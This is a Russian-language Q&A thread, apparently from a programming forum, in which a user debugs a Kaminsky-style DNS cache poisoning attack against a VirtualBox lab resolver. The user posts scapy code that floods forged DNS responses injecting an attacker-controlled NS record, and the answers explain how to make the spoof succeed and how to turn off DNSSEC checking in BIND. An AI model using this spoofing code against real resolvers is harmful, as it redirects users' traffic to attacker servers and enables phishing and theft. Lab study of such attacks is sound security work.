Отравление DNS-кэша в python - PullRequest
0 голосов
/ 24 апреля 2018

Я пытаюсь выполнить атаку, описанную как Shenanigans Дэна В этом уроке на уязвимой машине в виртуальной коробке, но кэш не перезаписывается.

  • Рекурсивныйсервер находится по адресу 192.168.56.20
  • компьютер атакующего находится по адресу 192.168.56.1
  • компьютер атакующего также является полномочным для домена badguy.ru
  • рекурсивный сервер используетфиксированный порт для отправки запросов.

Глядя на wireshark, когда я выполняю запрос для домена badguy.ru, я получаю на компьютере злоумышленника следующие пакеты: enter image description here Подробностиследующие:

Первый First one

Второй

enter image description here

поэтому в этом случае я сохранил в переменных

  • sniffed_ip = 10.10.0.1
  • sniffed_port = 56488 (не видно на скриншотах)
  • query_id = 0xe16c

Я строю пакеты со scapy с соседнимПри последующих идентификаторах запросов / транзакций в диапазоне 1000 пакетов я делаю поддельный запрос и, наконец, отправляю пакеты

packet_list = []
for i in range(args.range):
    pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
           / UDP(sport=53, dport=sniffed_port)
           / DNS(id=query_id, 
                 an=None,
                 qr=1,
                 qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
                 ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
                 ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))

    query_id=(query_id+1)%65536
    pkt.getlayer('DNS').id = query_id
    packet_list.append(pkt)

send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
send(packet_list)

Пакеты поступают правильно на рекурсивный сервер, но кэш не отравлен, я не могу понять, гдеэто ошибка, я думаю, что это, вероятно, не правильный ответный пакет.Заранее спасибо

Ответы [ 2 ]

0 голосов
/ 29 апреля 2018

Вам не хватает сути атаки: вам нужно выдать себя за что-то, что заслуживает доверия (с точки зрения сервера), а не только перехватить идентификатор запроса и исходный порт.Другими словами, IP-адрес, который вы используете в поддельном пакете, неверен.

Кроме того, существует два способа выполнить эту атаку: отравить кэш, введя одну «поддельную» запись A, иливпрыскивая новую запись NS.Не связывайтесь с этими двумя.

0 голосов
/ 27 апреля 2018

Если есть DNSSEC, необходимо проверить открытый ключ, используемый для подписи RRSEC.Если вы попытаетесь взломать свой собственный DNS (настроенный вами, например, на Linux), вы можете отключить проверку dnssec в /etc/bind/named.conf.options.

...